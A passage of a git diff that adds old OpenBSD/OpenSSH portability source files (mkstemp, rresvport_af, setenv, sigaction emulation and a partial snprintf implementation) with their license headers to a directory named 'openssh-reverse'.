OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef _BSD_MISC_H +#define _BSD_MISC_H + +#include "config.h" + +#ifndef HAVE_ARC4RANDOM +unsigned int arc4random(void); +void arc4random_stir(void); +#endif /* !HAVE_ARC4RANDOM */ + +#ifndef HAVE_SETPROCTITLE +void setproctitle(const char *fmt, ...); +#endif /* !HAVE_SETPROCTITLE */ + +#ifndef HAVE_SETENV +int setenv(const char *name, const char *value, int overwrite); +#endif /* !HAVE_SETENV */ + +#ifndef HAVE_SETLOGIN +int setlogin(const char *name); +#endif /* !HAVE_SETLOGIN */ + +#ifndef HAVE_INNETGR +int innetgr(const char *netgroup, const char *host, + const char *user, const char *domain); +#endif /* HAVE_INNETGR */ + +#if !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) +int seteuid(uid_t euid); +#endif /* !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) */ + +#if !defined(HAVE_STRERROR) && defined(HAVE_SYS_ERRLIST) +const char *strerror(void); +#endif /* !defined(HAVE_STRERROR) && defined(HAVE_SYS_ERRLIST) */ + +#endif /* _BSD_MISC_H */ diff --git a/other/openssh-reverse/bsd-mktemp.c b/other/openssh-reverse/bsd-mktemp.c new file mode 100644 index 0000000..7c02ea1 --- /dev/null +++ b/other/openssh-reverse/bsd-mktemp.c @@ -0,0 +1,189 @@ +/* THIS FILE HAS BEEN MODIFIED FROM THE ORIGINAL OPENBSD SOURCE */ +/* Changes: Removed mktemp */ + +/* + * Copyright (c) 1987, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#ifndef HAVE_MKDTEMP + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: mktemp.c,v 1.13 1998/06/30 23:03:13 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "bsd-misc.h" + +static int _gettemp(char *, int *, int, int); + +int +mkstemps(path, slen) + char *path; + int slen; +{ + int fd; + + return (_gettemp(path, &fd, 0, slen) ? fd : -1); +} + +int +mkstemp(path) + char *path; +{ + int fd; + + return (_gettemp(path, &fd, 0, 0) ? fd : -1); +} + +char * +mkdtemp(path) + char *path; +{ + return(_gettemp(path, (int *)NULL, 1, 0) ? path : (char *)NULL); +} + +static int +_gettemp(path, doopen, domkdir, slen) + char *path; + register int *doopen; + int domkdir; + int slen; +{ + register char *start, *trv, *suffp; + struct stat sbuf; + int pid, rval; + + if (doopen && domkdir) { + errno = EINVAL; + return(0); + } + + for (trv = path; *trv; ++trv) + ; + trv -= slen; + suffp = trv; + --trv; + if (trv < path) { + errno = EINVAL; + return (0); + } + pid = getpid(); + while (*trv == 'X' && pid != 0) { + *trv-- = (pid % 10) + '0'; + pid /= 10; + } + while (*trv == 'X') { + char c; + + pid = (arc4random() & 0xffff) % (26+26); + if (pid < 26) + c = pid + 'A'; + else + c = (pid - 26) + 'a'; + *trv-- = c; + } + start = trv + 1; + + /* + * check the target directory; if you have six X's and it + * doesn't exist this runs for a *very* long time. + */ + if (doopen || domkdir) { + for (;; --trv) { + if (trv <= path) + break; + if (*trv == '/') { + *trv = '\0'; + rval = stat(path, &sbuf); + *trv = '/'; + if (rval != 0) + return(0); + if (!S_ISDIR(sbuf.st_mode)) { + errno = ENOTDIR; + return(0); + } + break; + } + } + } + + for (;;) { + if (doopen) { + if ((*doopen = + open(path, O_CREAT|O_EXCL|O_RDWR, 0600)) >= 0) + return(1); + if (errno != EEXIST) + return(0); + } else if (domkdir) { + if (mkdir(path, 0700) == 0) + return(1); + if (errno != EEXIST) + return(0); + } else if (lstat(path, &sbuf)) + return(errno == ENOENT ? 1 : 0); + + /* tricky little algorithm for backward compatibility */ + for (trv = start;;) { + if (!*trv) + return (0); + if (*trv == 'Z') { + if (trv == suffp) + return (0); + *trv++ = 'a'; + } else { + if (isdigit(*trv)) + *trv = 'a'; + else if (*trv == 'z') /* inc from z to A */ + *trv = 'A'; + else { + if (trv == suffp) + return (0); + ++*trv; + } + break; + } + } + } + /*NOTREACHED*/ +} + +#endif /* !HAVE_MKDTEMP */ diff --git a/other/openssh-reverse/bsd-mktemp.h b/other/openssh-reverse/bsd-mktemp.h new file mode 100644 index 0000000..faddc91 --- /dev/null +++ b/other/openssh-reverse/bsd-mktemp.h @@ -0,0 +1,11 @@ +#ifndef _BSD_MKTEMP_H +#define _BSD_MKTEMP_H + +#include "config.h" +#ifndef HAVE_MKDTEMP +int mkstemps(char *path, int slen); +int mkstemp(char *path); +char *mkdtemp(char *path); +#endif /* !HAVE_MKDTEMP */ + +#endif /* _BSD_MKTEMP_H */ diff --git a/other/openssh-reverse/bsd-rresvport.c b/other/openssh-reverse/bsd-rresvport.c new file mode 100644 index 0000000..cda4c36 --- /dev/null +++ b/other/openssh-reverse/bsd-rresvport.c @@ -0,0 +1,105 @@ +/* + * Copyright (c) 1995, 1996, 1998 Theo de Raadt. All rights reserved. + * Copyright (c) 1983, 1993, 1994 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * This product includes software developed by Theo de Raadt. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#ifndef HAVE_RRESVPORT_AF + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: rresvport.c,v 1.4 1999/12/17 20:48:03 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include "includes.h" + +#if 0 +int +rresvport(alport) + int *alport; +{ + return rresvport_af(alport, AF_INET); +} +#endif + +int +rresvport_af(int *alport, sa_family_t af) +{ + struct sockaddr_storage ss; + struct sockaddr *sa; + u_int16_t *portp; + int s; + int salen; + + bzero(&ss, sizeof ss); + sa = (struct sockaddr *)&ss; + + switch (af) { + case AF_INET: + salen = sizeof(struct sockaddr_in); + portp = &((struct sockaddr_in *)sa)->sin_port; + break; + case AF_INET6: + salen = sizeof(struct sockaddr_in6); + portp = &((struct sockaddr_in6 *)sa)->sin6_port; + break; + default: + errno = EPFNOSUPPORT; + return (-1); + } + sa->sa_family = af; + + s = socket(af, SOCK_STREAM, 0); + if (s < 0) + return (-1); + + *portp = htons(*alport); + if (*alport < IPPORT_RESERVED - 1) { + if (bind(s, sa, salen) >= 0) + return (s); + if (errno != EADDRINUSE) { + (void)close(s); + return (-1); + } + } + + *portp = 0; + if (bindresvport_af(s, sa, af) == -1) { + (void)close(s); + return (-1); + } + *alport = ntohs(*portp); + return (s); +} + +#endif /* HAVE_RRESVPORT_AF */ diff --git a/other/openssh-reverse/bsd-rresvport.h b/other/openssh-reverse/bsd-rresvport.h new file mode 100644 index 0000000..d139895 --- /dev/null +++ b/other/openssh-reverse/bsd-rresvport.h @@ -0,0 +1,10 @@ +#ifndef _BSD_RRESVPORT_H +#define _BSD_RRESVPORT_H + +#include "config.h" + +#ifndef HAVE_RRESVPORT_AF +int rresvport_af(int *alport, sa_family_t af); +#endif /* !HAVE_RRESVPORT_AF */ + +#endif /* _BSD_RRESVPORT_H */ diff --git a/other/openssh-reverse/bsd-setenv.c b/other/openssh-reverse/bsd-setenv.c new file mode 100644 index 0000000..f5dbd27 --- /dev/null +++ b/other/openssh-reverse/bsd-setenv.c @@ -0,0 +1,161 @@ +/* + * Copyright (c) 1987 Regents of the University of California. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" +#ifndef HAVE_SETENV + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: setenv.c,v 1.3 1998/02/02 22:44:53 millert Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +/* + * __findenv -- + * Returns pointer to value associated with name, if any, else NULL. + * Sets offset to be the offset of the name/value combination in the + * environmental array, for use by setenv(3) and unsetenv(3). + * Explicitly removes '=' in argument name. + * + * This routine *should* be a static; don't use it. + */ +char * +__findenv(name, offset) + register const char *name; + int *offset; +{ + extern char **environ; + register int len, i; + register const char *np; + register char **p, *cp; + + if (name == NULL || environ == NULL) + return (NULL); + for (np = name; *np && *np != '='; ++np) + ; + len = np - name; + for (p = environ; (cp = *p) != NULL; ++p) { + for (np = name, i = len; i && *cp; i--) + if (*cp++ != *np++) + break; + if (i == 0 && *cp++ == '=') { + *offset = p - environ; + return (cp); + } + } + return (NULL); +} + +/* + * setenv -- + * Set the value of the environmental variable "name" to be + * "value". If rewrite is set, replace any current value. + */ +int +setenv(name, value, rewrite) + register const char *name; + register const char *value; + int rewrite; +{ + extern char **environ; + static int alloced; /* if allocated space before */ + register char *C; + int l_value, offset; + char *__findenv(); + + if (*value == '=') /* no `=' in value */ + ++value; + l_value = strlen(value); + if ((C = __findenv(name, &offset))) { /* find if already exists */ + if (!rewrite) + return (0); + if (strlen(C) >= l_value) { /* old larger; copy over */ + while ((*C++ = *value++)); + return (0); + } + } else { /* create new slot */ + register int cnt; + register char **P; + + for (P = environ, cnt = 0; *P; ++P, ++cnt); + if (alloced) { /* just increase size */ + P = (char **)realloc((void *)environ, + (size_t)(sizeof(char *) * (cnt + 2))); + if (!P) + return (-1); + environ = P; + } + else { /* get new space */ + alloced = 1; /* copy old entries into it */ + P = (char **)malloc((size_t)(sizeof(char *) * + (cnt + 2))); + if (!P) + return (-1); + bcopy(environ, P, cnt * sizeof(char *)); + environ = P; + } + environ[cnt + 1] = NULL; + offset = cnt; + } + for (C = (char *)name; *C && *C != '='; ++C); /* no `=' in name */ + if (!(environ[offset] = /* name + `=' + value */ + malloc((size_t)((int)(C - name) + l_value + 2)))) + return (-1); + for (C = environ[offset]; (*C = *name++) && *C != '='; ++C) + ; + for (*C++ = '='; (*C++ = *value++); ) + ; + return (0); +} + +/* + * unsetenv(name) -- + * Delete environmental variable "name". + */ +void +unsetenv(name) + const char *name; +{ + extern char **environ; + register char **P; + int offset; + char *__findenv(); + + while (__findenv(name, &offset)) /* if set multiple times */ + for (P = &environ[offset];; ++P) + if (!(*P = *(P + 1))) + break; +} + +#endif /* HAVE_SETENV */ diff --git a/other/openssh-reverse/bsd-setenv.h b/other/openssh-reverse/bsd-setenv.h new file mode 100644 index 0000000..62ebc20 --- /dev/null +++ b/other/openssh-reverse/bsd-setenv.h @@ -0,0 +1,12 @@ +#ifndef _BSD_SETENV_H +#define _BSD_SETENV_H + +#include "config.h" + +#ifndef HAVE_SETENV + +int setenv(register const char *name, register const char *value, int rewrite); + +#endif /* !HAVE_SETENV */ + +#endif /* _BSD_SETENV_H */ diff --git a/other/openssh-reverse/bsd-sigaction.c b/other/openssh-reverse/bsd-sigaction.c new file mode 100644 index 0000000..d6966d4 --- /dev/null +++ b/other/openssh-reverse/bsd-sigaction.c @@ -0,0 +1,102 @@ +/* $OpenBSD: sigaction.c,v 1.3 1999/06/27 08:14:21 millert Exp $ */ + +/**************************************************************************** + * Copyright (c) 1998 Free Software Foundation, Inc. * + * * + * Permission is hereby granted, free of charge, to any person obtaining a * + * copy of this software and associated documentation files (the * + * "Software"), to deal in the Software without restriction, including * + * without limitation the rights to use, copy, modify, merge, publish, * + * distribute, distribute with modifications, sublicense, and/or sell * + * copies of the Software, and to permit persons to whom the Software is * + * furnished to do so, subject to the following conditions: * + * * + * The above copyright notice and this permission notice shall be included * + * in all copies or substantial portions of the Software. * + * * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * + * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * + * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * + * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * + * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * + * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * + * * + * Except as contained in this notice, the name(s) of the above copyright * + * holders shall not be used in advertising or otherwise to promote the * + * sale, use or other dealings in this Software without prior written * + * authorization. * + ****************************************************************************/ + +/**************************************************************************** + * Author: Zeyd M. Ben-Halim 1992,1995 * + * and: Eric S. Raymond * + ****************************************************************************/ + +#include +#include "config.h" +#include "bsd-sigaction.h" + +/* This file provides sigaction() emulation using sigvec() */ +/* Use only if this is non POSIX system */ + +#if !HAVE_SIGACTION && HAVE_SIGVEC + +int +sigaction(int sig, struct sigaction *sigact, struct sigaction *osigact) +{ + return sigvec(sig, &(sigact->sv), &(osigact->sv)); +} + +int +sigemptyset (sigset_t * mask) +{ + *mask = 0; + return 0; +} + +int +sigprocmask (int mode, sigset_t * mask, sigset_t * omask) +{ + sigset_t current = sigsetmask(0); + + if (omask) *omask = current; + + if (mode==SIG_BLOCK) + current |= *mask; + else if (mode==SIG_UNBLOCK) + current &= ~*mask; + else if (mode==SIG_SETMASK) + current = *mask; + + sigsetmask(current); + return 0; +} + +int +sigsuspend (sigset_t * mask) +{ + return sigpause(*mask); +} + +int +sigdelset (sigset_t * mask, int sig) +{ + *mask &= ~sigmask(sig); + return 0; +} + +int +sigaddset (sigset_t * mask, int sig) +{ + *mask |= sigmask(sig); + return 0; +} + +int +sigismember (sigset_t * mask, int sig) +{ + return (*mask & sigmask(sig)) != 0; +} + +#endif diff --git a/other/openssh-reverse/bsd-sigaction.h b/other/openssh-reverse/bsd-sigaction.h new file mode 100644 index 0000000..b37c1f8 --- /dev/null +++ b/other/openssh-reverse/bsd-sigaction.h @@ -0,0 +1,88 @@ +/* $OpenBSD: SigAction.h,v 1.2 1999/06/27 08:15:19 millert Exp $ */ + +/**************************************************************************** + * Copyright (c) 1998 Free Software Foundation, Inc. * + * * + * Permission is hereby granted, free of charge, to any person obtaining a * + * copy of this software and associated documentation files (the * + * "Software"), to deal in the Software without restriction, including * + * without limitation the rights to use, copy, modify, merge, publish, * + * distribute, distribute with modifications, sublicense, and/or sell * + * copies of the Software, and to permit persons to whom the Software is * + * furnished to do so, subject to the following conditions: * + * * + * The above copyright notice and this permission notice shall be included * + * in all copies or substantial portions of the Software. * + * * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * + * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * + * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * + * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * + * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * + * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * + * * + * Except as contained in this notice, the name(s) of the above copyright * + * holders shall not be used in advertising or otherwise to promote the * + * sale, use or other dealings in this Software without prior written * + * authorization. * + ****************************************************************************/ + +/**************************************************************************** + * Author: Zeyd M. Ben-Halim 1992,1995 * + * and: Eric S. Raymond * + ****************************************************************************/ + +/* + * $From: SigAction.h,v 1.5 1999/06/19 23:00:54 tom Exp $ + * + * This file exists to handle non-POSIX systems which don't have , + * and usually no sigaction() nor + */ + +#ifndef _SIGACTION_H +#define _SIGACTION_H + +#if !defined(HAVE_SIGACTION) && defined(HAVE_SIGVEC) + +#undef SIG_BLOCK +#define SIG_BLOCK 00 + +#undef SIG_UNBLOCK +#define SIG_UNBLOCK 01 + +#undef SIG_SETMASK +#define SIG_SETMASK 02 + +/* + * is in the Linux 1.2.8 + gcc 2.7.0 configuration, + * and is useful for testing this header file. + */ +#if HAVE_BSD_SIGNAL_H +# include +#endif + +struct sigaction +{ + struct sigvec sv; +}; + +typedef unsigned long sigset_t; + +#undef sa_mask +#define sa_mask sv.sv_mask +#undef sa_handler +#define sa_handler sv.sv_handler +#undef sa_flags +#define sa_flags sv.sv_flags + +int sigaction(int sig, struct sigaction *sigact, struct sigaction *osigact); +int sigprocmask (int how, sigset_t *mask, sigset_t *omask); +int sigemptyset (sigset_t *mask); +int sigsuspend (sigset_t *mask); +int sigdelset (sigset_t *mask, int sig); +int sigaddset (sigset_t *mask, int sig); + +#endif /* !defined(HAVE_SIGACTION) && defined(HAVE_SIGVEC) */ + +#endif /* !defined(_SIGACTION_H) */ diff --git a/other/openssh-reverse/bsd-snprintf.c b/other/openssh-reverse/bsd-snprintf.c new file mode 100644 index 0000000..4716ee2 --- /dev/null +++ b/other/openssh-reverse/bsd-snprintf.c @@ -0,0 +1,788 @@ +/************************************************************** + * Original: + * Patrick Powell Tue Apr 11 09:48:21 PDT 1995 + * A bombproof version of doprnt (dopr) included. + * Sigh. This sort of thing is always nasty do deal with. Note that + * the version here does not include floating point... + * + * snprintf() is used instead of sprintf() as it does limit checks + * for string length. This covers a nasty loophole. + * + * The other functions are there to prevent NULL pointers from + * causing nast effects. + * + * More Recently: + * Brandon Long 9/15/96 for mutt 0.43 + * This was ugly. It is still ugly. I opted out of floating point + * numbers, but the formatter understands just about everything + * from the normal C string format, at least as far as I can tell from + * the Solaris 2.5 printf(3S) man page. + * + * Brandon Long 10/22/97 for mutt 0.87.1 + * Ok, added some minimal floating point support, which means this + * probably requires libm on most operating systems. Don't yet + * support the exponent (e,E) and sigfig (g,G). Also, fmtint() + * was pretty badly broken, it just wasn't being exercised in ways + * which showed it, so that's been fixed. Also, formated the code + * to mutt conventions, and removed dead code left over from the + * original. Also, there is now a builtin-test, just compile with: + * gcc -DTEST_SNPRINTF -o snprintf snprintf.c -lm + * and run snprintf for results. + * + * Thomas Roessler 01/27/98 for mutt 0.89i + * The PGP code was using unsigned hexadecimal formats. + * Unfortunately, unsigned formats simply didn't work. + * + * Michael Elkins 03/05/98 for mutt 0.90.8 + * The original code assumed that both snprintf() and vsnprintf() were + * missing. Some systems only have snprintf() but not vsnprintf(), so + * the code is now broken down under HAVE_SNPRINTF and HAVE_VSNPRINTF. + * + **************************************************************/ + +#include "config.h" + +#if !defined(HAVE_SNPRINTF) || !defined(HAVE_VSNPRINTF) + +#include +# include +#include + +/* Define this as a fall through, HAVE_STDARG_H is probably already set */ + +#define HAVE_VARARGS_H + +/* varargs declarations: */ + +#if defined(HAVE_STDARG_H) +# include +# define HAVE_STDARGS /* let's hope that works everywhere (mj) */ +# define VA_LOCAL_DECL va_list ap +# define VA_START(f) va_start(ap, f) +# define VA_SHIFT(v,t) ; /* no-op for ANSI */ +# define VA_END va_end(ap) +#else +# if defined(HAVE_VARARGS_H) +# include +# undef HAVE_STDARGS +# define VA_LOCAL_DECL va_list ap +# define VA_START(f) va_start(ap) /* f is ignored! */ +# define VA_SHIFT(v,t) v = va_arg(ap,t) +# define VA_END va_end(ap) +# else +/*XX ** NO VARARGS ** XX*/ +# endif +#endif + +/*int snprintf (char *str, size_t count, const char *fmt, ...);*/ +/*int vsnprintf (char *str, size_t count, const char *fmt, va_list arg);*/ + +static void dopr (char *buffer, size_t maxlen, const char *format, + va_list args); +static void fmtstr (char *buffer, size_t *currlen, size_t maxlen, + char *value, int flags, int min, int max); +static void fmtint (char *buffer, size_t *currlen, size_t maxlen, + long value, int base, int min, int max, int flags); +static void fmtfp (char *buffer, size_t *currlen, size_t maxlen, + long double fvalue, int min, int max, int flags); +static void dopr_outch (char *buffer, size_t *currlen, size_t maxlen, char c ); + +/* + * dopr(): poor man's version of doprintf + */ + +/* format read states */ +#define DP_S_DEFAULT 0 +#define DP_S_FLAGS 1 +#define DP_S_MIN 2 +#define DP_S_DOT 3 +#define DP_S_MAX 4 +#define DP_S_MOD 5 +#define DP_S_CONV 6 +#define DP_S_DONE 7 + +/* format flags - Bits */ +#define DP_F_MINUS (1 << 0) +#define DP_F_PLUS (1 << 1) +#define DP_F_SPACE (1 << 2) +#define DP_F_NUM (1 << 3) +#define DP_F_ZERO (1 << 4) +#define DP_F_UP (1 << 5) +#define DP_F_UNSIGNED (1 << 6) + +/* Conversion Flags */ +#define DP_C_SHORT 1 +#define DP_C_LONG 2 +#define DP_C_LDOUBLE 3 + +#define char_to_int(p) (p - '0') +#define MAX(p,q) ((p >= q) ? p : q) + +static void dopr (char *buffer, size_t maxlen, const char *format, va_list args) +{ + char ch; + long value; + long double fvalue; + char *strvalue; + int min; + int max; + int state; + int flags; + int cflags; + size_t currlen; + + state = DP_S_DEFAULT; + currlen = flags = cflags = min = 0; + max = -1; + ch = *format++; + + while (state != DP_S_DONE) + { + if ((ch == '\0') || (currlen >= maxlen)) + state = DP_S_DONE; + + switch(state) + { + case DP_S_DEFAULT: + if (ch == '%') + state = DP_S_FLAGS; + else + dopr_outch (buffer, &currlen, maxlen, ch); + ch = *format++; + break; + case DP_S_FLAGS: + switch (ch) + { + case '-': + flags |= DP_F_MINUS; + ch = *format++; + break; + case '+': + flags |= DP_F_PLUS; + ch = *format++; + break; + case ' ': + flags |= DP_F_SPACE; + ch = *format++; + break; + case '#': + flags |= DP_F_NUM; + ch = *format++; + break; + case '0': + flags |= DP_F_ZERO; + ch = *format++; + break; + default: + state = DP_S_MIN; + break; + } + break; + case DP_S_MIN: + if (isdigit((unsigned char)ch)) + { + min = 10*min + char_to_int (ch); + ch = *format++; + } + else if (ch == '*') + { + min = va_arg (args, int); + ch = *format++; + state = DP_S_DOT; + } + else + state = DP_S_DOT; + break; + case DP_S_DOT: + if (ch == '.') + { + state = DP_S_MAX; + ch = *format++; + } + else + state = DP_S_MOD; + break; + case DP_S_MAX: + if (isdigit((unsigned char)ch)) + { + if (max < 0) + max = 0; + max = 10*max + char_to_int (ch); + ch = *format++; + } + else if (ch == '*') + { + max = va_arg (args, int); + ch = *format++; + state = DP_S_MOD; + } + else + state = DP_S_MOD; + break; + case DP_S_MOD: + /* Currently, we don't support Long Long, bummer */ + switch (ch) + { + case 'h': + cflags = DP_C_SHORT; + ch = *format++; + break; + case 'l': + cflags = DP_C_LONG; + ch = *format++; + break; + case 'L': + cflags = DP_C_LDOUBLE; + ch = *format++; + break; + default: + break; + } + state = DP_S_CONV; + break; + case DP_S_CONV: + switch (ch) + { + case 'd': + case 'i': + if (cflags == DP_C_SHORT) + value = va_arg (args, short int); + else if (cflags == DP_C_LONG) + value = va_arg (args, long int); + else + value = va_arg (args, int); + fmtint (buffer, &currlen, maxlen, value, 10, min, max, flags); + break; + case 'o': + flags |= DP_F_UNSIGNED; + if (cflags == DP_C_SHORT) + value = va_arg (args, unsigned short int); + else if (cflags == DP_C_LONG) + value = va_arg (args, unsigned long int); + else + value = va_arg (args, unsigned int); + fmtint (buffer, &currlen, maxlen, value, 8, min, max, flags); + break; + case 'u': + flags |= DP_F_UNSIGNED; + if (cflags == DP_C_SHORT) + value = va_arg (args, unsigned short int); + else if (cflags == DP_C_LONG) + value = va_arg (args, unsigned long int); + else + value = va_arg (args, unsigned int); + fmtint (buffer, &currlen, maxlen, value, 10, min, max, flags); + break; + case 'X': + flags |= DP_F_UP; + case 'x': + flags |= DP_F_UNSIGNED; + if (cflags == DP_C_SHORT) + value = va_arg (args, unsigned short int); + else if (cflags == DP_C_LONG) + value = va_arg (args, unsigned long int); + else + value = va_arg (args, unsigned int); + fmtint (buffer, &currlen, maxlen, value, 16, min, max, flags); + break; + case 'f': + if (cflags == DP_C_LDOUBLE) + fvalue = va_arg (args, long double); + else + fvalue = va_arg (args, double); + /* um, floating point? */ + fmtfp (buffer, &currlen, maxlen, fvalue, min, max, flags); + break; + case 'E': + flags |= DP_F_UP; + case 'e': + if (cflags == DP_C_LDOUBLE) + fvalue = va_arg (args, long double); + else + fvalue = va_arg (args, double); + break; + case 'G': + flags |= DP_F_UP; + case 'g': + if (cflags == DP_C_LDOUBLE) + fvalue = va_arg (args, long double); + else + fvalue = va_arg (args, double); + break; + case 'c': + dopr_outch (buffer, &currlen, maxlen, va_arg (args, int)); + break; + case 's': + strvalue = va_arg (args, char *); + if (max < 0) + max = maxlen; /* ie, no max */ + fmtstr (buffer, &currlen, maxlen, strvalue, flags, min, max); + break; + case 'p': + strvalue = va_arg (args, void *); + fmtint (buffer, &currlen, maxlen, (long) strvalue, 16, min, max, flags); + break; + case 'n': + if (cflags == DP_C_SHORT) + { + short int *num; + num = va_arg (args, short int *); + *num = currlen; + } + else if (cflags == DP_C_LONG) + { + long int *num; + num = va_arg (args, long int *); + *num = currlen; + } + else + { + int *num; + num = va_arg (args, int *); + *num = currlen; + } + break; + case '%': + dopr_outch (buffer, &currlen, maxlen, ch); + break; + case 'w': + /* not supported yet, treat as next char */ + ch = *format++; + break; + default: + /* Unknown, skip */ + break; + } + ch = *format++; + state = DP_S_DEFAULT; + flags = cflags = min = 0; + max = -1; + break; + case DP_S_DONE: + break; + default: + /* hmm? */ + break; /* some picky compilers need this */ + } + } + if (currlen < maxlen - 1) + buffer[currlen] = '\0'; + else + buffer[maxlen - 1] = '\0'; +} + +static void fmtstr (char *buffer, size_t *currlen, size_t maxlen, + char *value, int flags, int min, int max) +{ + int 